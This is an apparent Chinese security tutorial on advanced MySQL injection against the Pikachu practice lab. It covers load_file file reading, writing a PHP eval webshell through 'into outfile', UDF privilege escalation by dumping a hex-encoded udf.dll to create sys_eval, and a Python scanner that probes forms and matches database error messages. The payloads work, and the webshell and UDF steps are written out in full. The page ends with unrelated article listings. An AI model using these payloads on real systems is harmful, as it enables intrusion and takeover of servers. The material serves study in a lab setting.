SQL注入的其他攻击思路方法与Python脚本设计思路

SQL注入的其他攻击思路方法与Python脚本设计思路

也是很早就写了,也备个份吧

注意:在接下来的攻击方式中,由于实现的条件较为苛刻,并且需要较高权限,有的师傅又称之为高权限攻击

利用文件读取进行SQL注入

上一篇文章提到,在MySQL中文件读取的函数是load_file,当MySQL的配置secure_file_priv允许时,我们可以利用该函数进行一定的操作,如前文的DNS注入,这里我们以皮卡丘靶场演示利用该函数读取其根目录下的flag文件夹的flag.txt

通过配置secure_file_priv,MySQL可以限制只允许从指定目录加载文件,在通常情况下它处于NULL状态,即不允许读取文件,我们可以通过给它指定一个绝对路径,让其只允许读取该路径的文件,如果指定为一个空路径,将会允许其读取任何文件,配置示例如下:

  • 只允许读取/var/mysql_files/
secure_file_priv=/var/mysql_files/
  • 可读取任意文件
secure_file_priv=

我们直接进行burp suite抓包,并且发送到repeater,然后我们利用报错注入的方式发送我们的注入语句payload:

'or extractvalue(1,concat(0x3e,load_file('D:/SoftWare/phpstudy_pro/Extensions/MySQL5.7.26/my.ini')))#

我这里使用的字符型注入关卡,由于是get请求记得不要忘记编码

在这里插入图片描述

可以从返回界面发现注入成功(可能是由于做了截断,只返回了一行内容),我们也可以进行其他文件读取,这里不做过多赘述,重点在于我们还有其他利用方式,在对抗单引号过滤时,我们可以利用16进制转换或char等编码方式逃避检测,下面以hex演示,我们利用以下python脚本获取路径:

import binascii

original_string = "D:/SoftWare/phpstudy_pro/Extensions/MySQL5.7.26/my.ini"

hex_string = binascii.hexlify(original_string.encode()).decode()

print('0x'+hex_string)

得到:0x443a2f536f6674576172652f70687073747564795f70726f2f457874656e73696f6e732f4d7953514c352e372e32362f6d792e696e69,然后我们载入攻击报文,将有以下结果:

在这里插入图片描述

利用sql注入写入WebShell

into outfile

在MySQL中可以利用into outfile来写入文件,当权限充足时,我们的文件将会被创建,如果已存在该文件则会报错,它的语法是:

select 字符串 into outfile 文件路径

并且该语句是可以联合union注入使用的,在MySQL中下列语句是可以成功执行的:

 select 1,2 union select 1,'123' into outfile '1.txt';

接下来我们依然以皮卡丘靶场演示,在字符型关卡我们拼接以下payload:

'or 1=1 union select 1,'<?php eval($_POST[\'x\']); ?>' into outfile 'D:/SoftWare/phpstudy_pro/WWW/pkc/shell.php' #

此操作是将一个Webshell写入皮卡丘网站的根目录,我们再次使用burp suite操作:

在这里插入图片描述

可以发现,虽有警告,但是shell已经完成上传,不过这种方式会将union语句前一个select内容也一并输入到目标文件中

但是在对抗单引号转义时,into outfile的写入文件路径不能够为16进制或其他编码方法,这是一个明显的缺陷,我们尝试运行将会抛出以下错误:

mysql> select 1,2 union select 1,0x313233 into outfile 0x312e747874;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '0x312e747874' at line 1
mysql> select 1,2 union select 1,'123' into outfile 0x312e747874;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '0x312e747874' at line 1

但是文件内容是可以转换进制的,不会报错:

mysql> select 1,2 union select 1,0x313233 into outfile '1.txt';
Query OK, 2 rows affected (0.00 sec)

注意:相比于load_file,此方法并不能通过配置文件去限制,算是一个可以进行测试的点

into dumpfile

在MySQL利用into dumpfile写文件,同样的当权限充足时,我们的文件将会被创建,如果已存在该文件则会报错,它的语法是:

select 字符串 into dumpfile 文件路径

和outfile一样,在写入时也和前者一样的转义问题:

mysql> select '123' into dumpfile 0x312e747874;
ERROR 1327 (42000): Undeclared variable: dumpfile

mysql> select 0x313233 into dumpfile 0x312e747874;
ERROR 1327 (42000): Undeclared variable: dumpfile

mysql> select 0x313233 into dumpfile '1.txt';
Query OK, 1 row affected (0.00 sec)

into dumpfile与into outfile区别

由于书面描述较为抽象,我们直接进行一次注入进行演示:

在这里插入图片描述

我们发现将会产生报错:

Result consisted of more than one row

原因是dumpfile进行导出只能够导出一行数据,无法带出更多,然后我们观察两者产生的文件会发现,outfile会有一个格式化的操作,而dumpflie的原封不动输出,即原意写入这一点在后面的udf提权十分重要

Web安全与二进制安全的碰撞-UDF提权

提权就是想办法从低权限的状态提升到高权限状态,往往是将普通用户权限提升至Administrators(Windows 超级管理员用户组)、System权限(Windows 系统最高权限)、root权限(Linux系统最高权限)。提权技术大体上可分为系统内核提权和应用程序或服务提权。
系统内核提权是利用系统内核本身的漏洞进行提权,可以理解为对系统漏洞的利用。Windows 下比较经典的系统内核提权是PR提权,Linux 下比较经典的是DirtyCow(脏牛)提权。研究系统内核提权需要很深厚的内核功底,由于漏洞挖掘成本高,大多数攻击者在入侵时会使用已公开的一些系统内核提权方法进行尝试,而对抗这种提权的办法就是对操作系统升级和打补丁,提高对抗成本。
而应用程序或服务提权就是利用应用程序或服务本身运行在高权限的优势,想办法控制应用程序来执行命令,也就达到了以高权限执行命令的目的。UDF提权正是这样的一种提权思路,UDF 提权适用于Windows 和 Linux 两种不同的操作系统环境,能否达到提权效果,主要在于系统运行MySQL采用的权限。由于早期Windows系统中大多数人都是以System权限启动和运行MySQL服务器的,因此UDF提权常见于Windows系统。

UDF 全名是 User Defined Function,即用户自定义函数,是 MySQL的一个拓展接口。用户可以通过自定义函数实现在 MySQL 中创建一些 MySQL 无法直接实现的功能,其添加的新函数都可以在 SQL 语句中调用并执行。它给攻击者留下了一个从 SQL 语句执行到系统调用的接口。

UDF 提权主要分为以下三个步骤。

  1. 把含有自定义函数(如执行系统调用函数“sys_eval”等)的 dll文件(如 Linux 为 so文件等)放入特定文件夹下。
  2. 声明引入这个 dll文件中的自定义函数。
  3. 使用这个自定义的函数执行系统调用完成提权。

我们可以在sqlmap\data\udf\mysql\windows\64目录下找到udf提权所用的64位文件(32位在64的上层目录32中),不过这个文件需要转码,我是直接使用的github上的原版未处理dll扩展,这里就不研究编写方式了,编写可以参考:https://dev.mysql.com/doc/extending-mysql/8.0/en/adding-loadable-function.html

通常来讲UDF提权会结合文件上传,先将dll文件上传到服务器的特定路径,并且这里对特定路径有一定要求:

  • 如果 MySQL 版本大于 5.1,,udf. dll文件必须放置在 MySQL 安装目录的 lib\plugin 文件夹下才可以创建自定义函数。该目录默认是不存在的,需要使用 WebShell 找到 MySQL 的安装目录,并在安装目录下创建 lib\plugin 文件夹,然后将udf. dll文件导出到该目录
  • 如果 MySQL 版本小于 5.1, udf. dll文件在 Windows Server 2003下放置在C:\windows\system32目录中,在Windows Server 2000 下放置在 C:\winnt\system32目录中

但是我们也可以通过将该dll以16进制形式写入数据库中,下面我们进行从文件写入开始的Windows下UDF提权操作示例:

  • 获取udf.dll文件的16进制内容

第一种方法,通过mysql终端自带的load_file进行操作:

select hex(load_file('/udf.dll'));

第二种方式,通过python脚本进行转化:

def dll_to_hex_string(file_path: str) -> str:
    with open(file_path, 'rb') as file:
        dll_bytes: bytes = file.read()
        hex_string: str = ''.join(['{:02X}'.format(byte) for byte in dll_bytes])
    return hex_string


if __name__ == "__main":
    dll_file_path: str = 'udf.dll'

    hex_string: str = dll_to_hex_string(dll_file_path)

    res_str: str = 'select ' + '0x' + hex_string + ' into dumpfile ' + "\'D:/PhpStudy/Extensions/MySQL5.7.26/lib/plugin/udf.dll\';"

    with open('udf.txt', '+a') as file:
        file.write(res_str)
  • 将文件写入MySQL(由于16进制字符串太长注意可能出现的截断等问题),我们以UDFhex代替其内容

为了不破环原有文件的二进制结构,必须要原意写入,此时必须使用into dumpfile

select UDFhex into dumpfile 'MySQL/lib/plugin/udf.dll' ;

在这里插入图片描述

这里需要注意一个问题,如果在MySQL中默认无此目录,所以会创建失败(局限性之一),我们这里为了演示,手动创建,然后执行:

create function sys_eval returns string soname 'udf.dll';

执行成功后我们就获得了自定义函数sys_eval,即可开始在注入语句中使用该函数执行系统指令,并且默认的读取目录仍为配置文件中的datadir,我在其目录下放了一个flag.txt,下面进行验证:

在这里插入图片描述

执行成功,总的来说,UDF提权局限性虽然很大,但是其测试思路是很值得借鉴的

试想一下,只要写入十六进制串就能够有效,那么我们还可以在条件允许的情况下,使用insert语句先注入字符串到某张表,然后再将该内容写入文件即可,这里就不演示了,测试后将udf.dll删除即可,然后运行以下语句,取消该函数即可:

DROP FUNCTION IF EXISTS sys_eval;

Python的SQL注入扫描简单实现

注意:仅仅基于简单的有输入行为的闭合注入测试,因为实际情况往往更加复杂,需要因地制宜,以作为启发性笔记以给新人学习思路

使用技术声明

基于requests,urllib(自带),BeautifulSoup4三个爬虫模块进行技术实现,运行以下bat进行安装:

pip install beautifulsoup4
pip install requests

说白了就是利用爬虫技术模拟我们的手动注入,并且由于脚本需要根据实际情况而定,我这里仅以皮卡丘靶场的字符型扫描为例

在构造时需要存取哪些内容

import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin
from typing import Final
from datetime import datetime
import re, os

class SqliScanner:
    def __init__(self, url: str, cookie: str=None) -> None:
        self.url: str = url
        self.cookies: str = cookie	# 先将自定义cookie的内容以str存储
        self.response = None	# 储存返回的报文内容
        self.session = requests.session() # 建立会话访问 获取默认的内容
        self.form_objects: list = None  # 存储表单对象
        self.input_point_list: list[dict] = [] # 存储表单输入点列表
        self.sqli_vul_type = []  # 存储漏洞类型
        self.database_type = None  # 存储数据库类型
        self.sqli_scan_res = "No"  # 存储扫描结果指示
        self.headers = {                 # 自定义header头
                'User-Agent':
                    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
                    " (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.34",
                'Content-Type':
                    "application/x-www-form-urlencoded"
        }
        self.payloads = {  # 存储payload字典
            "Char": ['\"', '\'', '#']
        }

如何成功访问到目标页面

首先我们进行注入一定要先发出向目标网站的请求,然后才能进行下一步的操作,然后我们需要注意,部分网站没有Cookie等其他字段是无法访问我们想要的页面的,于是我们需要在请求中添加cookie等内容(即自定义header与cookie),而不需要cookie的网站,我们也要考虑获取默认cookie内容,以防止出现获取内容失败的情况(即建立会话获取),然后我们考虑解析我们的页面数据,获取有输入动作的表单字段,最后将目标字段递交给注入模块处理,并且我们可以对网站的存活状态进行检测,防止不必要的程序运行,并且可以顺手以session访问一下,获取默认的内容,再进行自定义cookie载入:

    def check_url_status(self) -> bool:
        self.response = self.session.get(url=self.url, headers=self.headers)
        if self.response.status_code == 200:
            print("连接正常")
            return True
        else:
            print("连接失败")
            return False
    def custom_cookies_loader(self) -> None:
        if self.cookies != "" and self.cookies is not None :
            cookies: dict = {}
            separate_cookie: list[str] = self.cookies.split(',')
            for cookie_parttion in separate_cookie:
                temp: list[str] = cookie_parttion.split('=')
                cookies[temp[0]] = temp[1]
            self.session.cookies.update(cookies)
        else:
            self.cookies = self.session.cookies

因为我这里设置了保存cookie字段,所以会从session中取得cookies

怎样获得页面上的输入点

我们可以通过beautifulSoup4来对html文档进行层层解析,将对应属性与值用字典存储,考虑一个网站可能出现多个输入点,我们还应该用列表储存字典:

    def get_input_point(self) -> None:
        html_document = BeautifulSoup(self.response.content, "html.parser")
        self.form_objects = html_document.find_all("form")  # 返回所有form表单对象的列表

        for form_object in self.form_objects:  # 循环读取 返回的对象列表 (可能有多个对象)

            input_point: dict = {}  # 定义一个字典储存单个 form 标签信息

            action = form_object.attrs.get("action")
            method = form_object.attrs.get("method", "get")  # 获取传参方法 未指定则为默认get

            inputs = []  # 定义一个列表储存 input 标签信息

            for input_object in form_object.find_all("input"):  # 循环读取 input 标签内容
                input_name = input_object.attrs.get("name")
                input_type = input_object.attrs.get("type", "text")
                input_value = input_object.attrs.get("value", "")

                inputs.append(
                    {"type": input_type, "name": input_name, "value": input_value}
                )  # 以字典存储表单属性内容

            # 将一个 form 标签的信息保存在同一字典中
            input_point["action"] = action
            input_point["method"] = method.lower()
            input_point["inputs"] = inputs

            self.input_point_list.append(input_point)  # 将form表单的数据字典存储在列表中

怎样发起攻击扫描

我们可以层层解析上面获取的列表,依据它们使用的方法来进行扫描,这里我使用层层循环来进行枚举,正常来讲应该避免多层嵌套,不过写个小脚本问题不是很大

    def sqli_scan_attack(self) -> None:
        for input_point in self.input_point_list:
            url_load = urljoin(self.url, input_point["action"])  # 构造目标 url

            for key, value in self.payloads.items():  # 循环测试payload字典
                attack_load = []
                for code in value:
                    data_load = {}
                    for inputs in input_point["inputs"]:
                        if inputs["type"] == "hidden" or inputs["value"]:  # 隐藏式表单 与 含值表单 的探测构造
                            data_load[inputs["name"]] = inputs["value"] + code
                        else:
                            data_load[inputs["name"]] = f"flag{code}"  # 常规表单的构造
                        attack_load.append(data_load)

                # 使用不同上传方式进行探测
                if input_point["method"] == "post":
                    for data_load in attack_load:
                        self.response = self.session.post(url=url_load, headers=self.headers, data=data_load).text
                        if self.response_error_scanner():  # 探测 response 表单中是否含有错误
                            self.sqli_vul_type.append(key)
                            break  # 含有错误特征 提前终止

                if input_point["method"] == "get":
                    for param in attack_load:
                        self.response = self.session.get(url=url_load, headers=self.headers, params=param).text
                        if self.response_error_scanner():  # 探测 response 表单中是否含有错误
                            self.sqli_vul_type.append(key)
                            break  # 含有错误特征 提前终止
        self.session.close()

如何界定是否存在漏洞

在上述的方法中,我定义了response_error_scanner(),它使用一个常见的正则字典,对有回显的页面进行了内容匹配,实际情况可能更加复杂,这只是一个示例:

   def response_error_scanner(self) -> bool:  # 使用正则枚举数据库类型 以达到判断的目的
        error_matching_status = False
        DATABASE_ERRORS: Final | dict = {
            "MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
            "PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
            "Microsoft SQL Server": (
                r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver",
                r"Warning.*mssql_.*",
                r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.",
                r"(?s)Exception.*\WRoadhouse\.Cms\."),
            "Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
            "Oracle": (
                r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*",
                r"Warning.*\Wora_.*"),
            "IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),
            "SQLite": (
                r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", 
                r"Warning.*sqlite_.*", r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"),
            "Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"),
        }

        if self.response != None:
            for keys, values in DATABASE_ERRORS.items():
                for value in values:
                    if re.search(value, self.response, re.I):
                        self.database_type = keys  # 返回数据库的类型
                        self.sqli_scan_res = "Yes"
                        error_matching_status = True
                        return error_matching_status
        return error_matching_status

简单写一个日志打印

    def create_scan_logs(self) -> None:
        current_time = datetime.now().strftime("%Y-%m-%d-%H-%M-%S")
        if not os.path.exists('./log'):
            os.mkdir('./log')
        file_name = './log/' + current_time + '.txt'
        with open(file_name, 'w') as file_object:
            file_object.write(f"url_name : {self.url}\n")
            file_object.write(f"cookies : {self.cookies}\n")
            file_object.write(f"sqli_scan_res : {self.sqli_scan_res}\n")
            file_object.write(f"sqli_vul_type : {self.sqli_vul_type}\n")
            file_object.write(f"database_type : {self.database_type}\n")
        print("文件已导出")

定义主方法内容

if __name__ == "__main__":
    url: str = 'http://pkc/vul/sqli/sqli_str.php'
    user_define_cookie = ""

    start = SqliScanner(url=url, cookie=user_define_cookie)
    if start.check_url_status():
        start.custom_cookies_loader()
        start.get_input_point()
        start.sqli_scan_attack()
        print(f"url :{start.url}")
        print(f"cookie :{start.cookies}")
        print(f"是否存在SQL注入漏洞 :{start.sqli_scan_res}")
        print(f"SQL注入漏洞类型是 :{start.sqli_vul_type}")
        print(f"目标数据库类型是 :{start.database_type}")

        start.create_scan_logs()

运行脚本进行测试

PS D:\Desktop\py_crawl> python .\sqli_scanner.py 
连接正常
url :http://pkc/vul/sqli/sqli_str.php
cookie :<RequestsCookieJar[<Cookie PHPSESSID=uk4gsom6c8qjho90b0k9tu0dl5 for pkc.local/>]>
是否存在SQL注入漏洞 :Yes
SQL注入漏洞类型是 :['Char']
目标数据库类型是 :MySQL
文件已导出
PS D:\Desktop\py_crawl> type .\log\2024-02-02-19-42-51.txt
url_name : http://pkc/vul/sqli/sqli_str.php
cookies : <RequestsCookieJar[<Cookie PHPSESSID=58ou82ooll95b77mref0h56s24 for pkc.local/>]>
sqli_scan_res : Yes
sqli_vul_type : ['Char']
database_type : MySQL
PS D:\Desktop\py_crawl>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/532006.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

mysql8主从复杂原理分析

MySQL 复制&#xff08;Replication&#xff09; 是官方提供的主从复制&#xff08;源到副本的复制&#xff09;方案&#xff0c;用于将一个 MySQL 的实例同步到另一个实例中。 这是使用最广泛的容灾方案&#xff08;重点掌握&#xff09;。 复制&#xff08;Replication&…

编译器如何理解C++的指针和引用?

初学引用时&#xff0c;往往很难真正理解引用&#xff0c;它与指针究竟有什么区别和联系。下面我们不妨看看编译器如何理解引用和指针的。 一.函数通过指针传参 1.1 示例代码 #include <iostream>using namespace std;void swap(int *x,int *y)//指针传参 {int tmp;t…

【机器学习300问】66、ReLU激活函数相对于Sigmoid和Tanh激活函数的优点是什么?ReLU它有局限性吗?如何改进?

一、ReLU相对于Sigmoid和Tanh的优点 &#xff08;1&#xff09;计算效率高 ReLU函数数学形式简单&#xff0c;仅需要对输入进行阈值操作&#xff0c;大于0则保留&#xff0c;小于0则置为0。Sigmoid和Tanh需要指数运算但ReLU不需要。所以相比之下它会更快&#xff0c;降低了神经…

agi入门-大模型开发基础

AGI(Artifical General Inteligence)的到来还有多久&#xff1f; 乐观预测&#xff1a;明年主流预测&#xff1a;3-5年悲观预测&#xff1a;10年 AGI时代&#xff0c;AI无处不在&#xff0c;相关从来者将如何分&#xff1f; AI使用者&#xff1a;使用别人开发的AI产品AI产品…

让链接直接唤起应用,Xinstall助力提升用户体验

在移动互联网时代&#xff0c;应用程序已成为我们日常生活的重要组成部分。然而&#xff0c;有时候我们在浏览器或其他应用中看到一个有趣的链接&#xff0c;想要打开对应的应用查看更多内容&#xff0c;却需要手动复制链接&#xff0c;再打开应用粘贴查看。这样的操作繁琐且不…

Backtrader 量化回测实践(6)——量化回测评价工具Quantstats

Backtrader 量化回测实践&#xff08;6&#xff09;——量化回测评价工具Quantstats 1.概述 Quantstats是用于量化金融分析和投资组合优化的Python库。该库提供了各种工具&#xff0c;可从不同来源获得金融数据&#xff0c;进行技术和基本分析&#xff0c;并创建和测试投资策…

VPP 负载均衡测试代码

1. 均衡的测试思想和流程说明。 先说一下理论&#xff0c; 然后后边才知道 代码逻辑。 调试了两天&#xff0c;这个代码终于通了。 由于时间关系&#xff0c; 画了一个粗略的图。另外这个代码只是流程通了&#xff0c;不过要帮助理解负载均衡我认为已经足够了。 下面是windo…

什么是企业邮箱?如何选择合适的企业邮箱?

企业邮箱和个人邮箱不同&#xff0c;它的邮箱后缀是企业自己的域名。企业邮箱供应商一般都提供手机app、桌面端、web浏览器访问等邮箱使用途径。那么什么是企业邮箱&#xff1f;如何选择合适的企业邮箱&#xff1f;好用的企业邮箱应具备无缝迁移、协作、多邮箱管理等功能。 企…

Docker篇(二)— Docker架构介绍

目录 一、Docker和虚拟机的区别二、Docker架构镜像和容器DockerHubDocker架构 小结 一、Docker和虚拟机的区别 Docker可以让一个应用在任何操作系统中非常方便的运行。而以前我们接触的虚拟机&#xff0c;也能在一个操作系统中&#xff0c;运行另外一个操作系统&#xff0c;保…

智能面试——录音及播放下载js-audio-recorder — post请求,formdata传参

录音插件 js-audio-recorder bug&#xff1a;本地调试调取不起来麦克风 浏览器配置安全域名 chrome://flags/Insecure origins treated as secure输入域名即可电脑需要连接上耳机 <template><div class"BaseRecorder"><div class"BaseRecorder-r…

产品开发流程

产品开发流程 时间&#xff1a;2024年04月10日 作者&#xff1a;小蒋聊技术 邮箱&#xff1a;wei_wei10163.com 微信&#xff1a;wei_wei10 产品开发流程_小蒋聊技术_免费在线阅读收听下载 - 喜马拉雅欢迎收听小蒋聊技术的类最新章节声音“产品开发流程”。时间&#xff1a;…

单链表专题

文章目录 目录1. 链表的概念及结构2. 实现单链表2.1 链表的打印2.2 链表的尾插2.3 链表的头插2.4 链表的尾删2.5 链表的头删2.6 查找2.7 在指定位置之前插入数据2.8 在指定位置之后插入数据2.9 删除pos节点2.10 删除pos之后的节点2.11 销毁链表 3. 链表的分类 目录 链表的概念…

设计模式学习笔记 - 设计模式与范式 -行为型:10.迭代器模式(中):遍历集合时,为什么不能增删集合?

概述 上篇文章&#xff0c;我们通过给 ArrayList 和 LinkedList 容器实现迭代器&#xff0c;学习了迭代器模式的原理、实现和设计意图。迭代器模式主要主要是解耦容器代码和遍历代码。 本章&#xff0c;我们来深挖一下&#xff0c;如果在使用迭代器遍历集合的同时增加、删除集…

无尘净化棉签:清洁革新的里程碑

随着科技的不断进步&#xff0c;日常生活中的许多小物件也在不断地得到创新和改良。其中&#xff0c;棉签作为一种常见的清洁工具&#xff0c;经历了从传统到现代的革新&#xff0c;引入了无尘棉签的概念&#xff0c;为清洁领域带来了一场革命性的变革。本文优斯特将探讨无尘棉…

运维工具-Backup集合

RepositoryLicenseStarCreatedAtUpdatedAtDescriptionjeessy2/backup-xMIT2842021-11-132023-12-15带Web界面的数据库/文件备份增强工具noovertime7/gin-mysqlbakMIT382022-06-212023-02-06一款分布式高性能的备份系统&#xff0c;支持 MySQL、ElasticSearch 备份&#xff0c;多…

《高通量测序技术》分享,生物信息学生信流程的性能验证,以肿瘤NGS基因检测为例。

这是这本书&#xff0c;第四章第五节的内容&#xff0c;这一部分是以NGS检测肿瘤基因突变为例&#xff0c;描述了其原理和大概流程&#xff0c;这和以前我分享的病原宏基因组高通量测序性能确认方案可以互相补充&#xff0c;大家可以都看一下&#xff0c;但是想要真正的弄懂&am…

【Leetcode】1702. 修改后的最大二进制字符串

文章目录 题目思路代码复杂度分析时间复杂度空间复杂度 结果总结 题目 题目链接&#x1f517; 给你一个二进制字符串 b i n a r y binary binary &#xff0c;它仅有 0 0 0 或者 1 1 1 组成。你可以使用下面的操作任意次对它进行修改&#xff1a; 操作 1 &#xff1a;如果…

背 单 词

单词&#xff1a; 买考研词汇闪过 研究艾宾浩斯遗忘曲线 https://www.bilibili.com/video/BV18Y4y1h7YR/?spm_id_from333.337.search-card.all.click&vd_source5cbefe6dd70d6d84830a5891ceab2bf9 单词方法 闪记背两排&#xff08;5min&#xff09;重复一遍&#xff08;2mi…

解决Can‘t connect to HTTPS URL because the SSL module is not available

把C:\develop\An3\Library\bin的这些文件&#xff0c;复制到C:\develop\An3\DLLs中